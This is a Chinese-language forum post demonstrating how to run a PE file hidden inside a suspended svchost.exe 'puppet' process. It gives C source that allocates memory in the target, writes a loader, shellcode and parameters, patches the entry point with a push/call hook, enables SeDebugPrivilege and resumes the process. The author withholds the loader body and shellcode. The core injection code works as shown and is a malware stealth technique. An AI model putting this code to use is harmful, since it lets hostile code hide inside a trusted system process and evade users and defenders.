- 注册时间
- 2011-3-6
- 最后登录
- 1970-1-1
该用户从未签到
|
看 老V 另类远程线程模式 后想来研究研究 留言中提到的svchost傀儡进程的实现 后来就写了个Demo 能让一个PE文件完美地运行在svchost内部,svchost为傀儡进程 这也没什么技术含量 技术应该比较老了 但又怕完全放出代码会被利用 就只放核心代码。
先说说原理:
1、创建一个挂起的svchost进程
2、找svchost进程的OEP备用
3、在svchost中开辟几块空间 存放自己的PeLoader、PE文件的ShellCode、参数结构等
4、将PeLoader、ShellCode、参数结构写入svchost中
5、Hook svchost的OEP 改为PeLoader
6、恢复svchost进程执行PeLoader加载ShellCode并运行
代码中没有PeLoader函数,该函数的功能就是用病毒技术找Kernel32、导出表找一些常用函数、对
ShellCode解密、重定位、内存加载、Call OEP执行,类似PeLoader函数的论坛上很多代码。
代码:
typedef struct _DATA
{
DWORD key1;
DWORD key2;
DWORD CodeAddress1;
DWORD size1;
DWORD CodeAddress2;
DWORD size2;
}PDATA;
int PeLoader(PDATA *a1)
{
/*
_asm{
mov eax,fs:[30h]
mov ffset, eax
}
Base = *(DWORD *)(*(DWORD *)(ffset + 12) + 28);
while ( *(DWORD *)(Base + 28) != 0x1A0018 )
{
Base = *(DWORD *)Base;
if ( !Base )
return 1;
}
Kernel32 = *(DWORD *)(Base + 8);
if ( !Kernel32 )
return 1;
///////////////////////////// 找函数 //////////////////
EDerictor = *(DWORD *)(*(DWORD *)(Kernel32 + 60) + Kernel32 + 120); //导出目录
NumberOfNames = *(DWORD *)(EDerictor + Kernel32 + 24);
AddressOfFunctions = *(DWORD *)(Kernel32 + EDerictor + 28);
AddressOfNameOrdinals = *(DWORD *)(Kernel32 + EDerictor + 36);
AddressOfName = *(DWORD *)(Kernel32 + EDerictor + 32);
*/
//...........................................................
return 0;
}
int InjectProcess(void *Process, void *hThread, void *argc4, DWORD argc5)
{
const void *PeLoaderAddress;
DWORD Address1;
DWORD Address2;
DWORD HookAddress;
DWORD ArgsAddress;
DWORD CodeOneAddress;
DWORD CodeTowAddress;
DWORD flOldProtect;
DWORD ExitCode;
PDATA gData; // Push 参数变量
BYTE Hook[16] = {0};
int EntryPoit = GetProcessEntryPoit(Process); //通过进程句柄获取入口地址(也就是注入进程OEP 后面Hook)
gData.key1 = 0x1234; //测试参数 预留 给ShellCode解密参数
gData.key2 = 0xffff;
//在注入进程开辟数据空间
HookAddress = (DWORD)VirtualAllocEx(Process, 0, 0x1000u, 0x1000u, 0x40u); //开辟一块空间存放 Loader 函数
ArgsAddress = (DWORD)VirtualAllocEx(Process, 0, 0x18u, 0x1000u, 4u); //存放 push 参数的空间
CodeOneAddress = (DWORD)VirtualAllocEx(Process, 0, 500, 0x1000u, 0x40u); //存放 测试数据 空间
CodeTowAddress = (DWORD)VirtualAllocEx(Process, 0, sizeof(ShellCode), 0x1000u, 0x4u); // 存放 ShellCode 的空间
//初始化Push参数
gData.CodeAddress1 = CodeOneAddress;
gData.size1 = 16;
gData.CodeAddress2 = CodeTowAddress; //ShellCode地址
gData.size2 = sizeof(ShellCode); //ShellCode大小
//将Loader函数、ShellCode、参数 写入开辟的对应的空间
if ( HookAddress && ArgsAddress && CodeOneAddress && CodeTowAddress )
{
PeLoaderAddress = PeLoader;
if ( *(BYTE *)PeLoader == 0xE9u )
PeLoaderAddress = (char *)PeLoader + *(DWORD *)((char *)PeLoader + 1) + 5;
if ( WriteProcessMemory(Process, (void *)HookAddress, (void *)PeLoaderAddress, 4096u, &ExitCode) ) //写入Loader
{
if ( WriteProcessMemory(Process, (void *)ArgsAddress, (void *)&gData, 24u, &ExitCode) ) //写入参数
{
if ( WriteProcessMemory(Process, (void *)CodeOneAddress, (void *)argc4, argc5, &ExitCode) ) //写入测试数据 后面在Loader中弹一个对话框 这时已经在注入进程中
{
if ( WriteProcessMemory(Process, (void *)CodeTowAddress, ShellCode, sizeof(ShellCode), &ExitCode) )//写入ShellCode
{
//Hook 入口地址 使注入进程执行时从Loader函数开始
Address2 = HookAddress - (DWORD)EntryPoit - 10;
Address1 = ArgsAddress;
Hook[0] = 0x68u;
memcpy(Hook+1, &Address1, 4); //Push Address1
Hook[5] = 0xE8; //Call Address2
memcpy(Hook+6, &Address2, 4);
Hook[10] = 0xC3;
if ( VirtualProtectEx(Process, (void *)EntryPoit, 0x10u, 0x40u, &flOldProtect) )
{
if ( WriteProcessMemory(Process, (void *)EntryPoit, Hook, 16u, &ExitCode) ) //将Hook写入EntryPoit
{
if ( VirtualProtectEx(Process, (void *)EntryPoit, 0x10u, flOldProtect, &flOldProtect) )
{
if ( ResumeThread(hThread) ) //恢复挂起的注入进程
{
WaitForSingleObject(hThread, 0xFFFFFFFFu);
if ( GetExitCodeThread(hThread, &ExitCode) )
{
ExitCode = ExitCode;
}
else
{
ExitCode = GetLastError();
}
return ExitCode;
}
}
}
}
}
}
}
}
}
if ( HookAddress )
{
VirtualFreeEx(Process, (void *)HookAddress, 0, 0x8000u);
}
if ( ArgsAddress )
{
VirtualFreeEx(Process, (void *)ArgsAddress, 0, 0x8000u);
}
if ( CodeOneAddress )
{
VirtualFreeEx(Process, (void *)CodeOneAddress, 0, 0x8000u);
}
VirtualFreeEx(Process, (void *)CodeTowAddress, 0, 0x8000u) ;
return 0;
}
int AddPrivilege(const char *Name) //提升权限
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID Luid;
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
{
return 1;
}
if (!LookupPrivilegeValue(NULL,Name,&Luid))
{
return 1;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = Luid;
if (!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
{
return 1;
}
return 0;
}
int main()
{
STARTUPINFO StartupInfo = {0};
PROCESS_INFORMATION ProcessInformation = {0};
StartupInfo.cb = sizeof(StartupInfo);
StartupInfo.dwFlags = 1;
StartupInfo.wShowWindow = 1;
AddPrivilege(SE_DEBUG_NAME);
char lpCommandLine[] = "C:\\windows\\system32\\svchost.exe";
if ( !CreateProcess(0, lpCommandLine, 0, 0, 0, 0x14u, 0, 0, &StartupInfo, &ProcessInformation) )
{
return 0;
}
InjectProcess(ProcessInformation.hProcess,ProcessInformation.hThread, lpCommandLine, sizeof(lpCommandLine));
return 0;
} |
|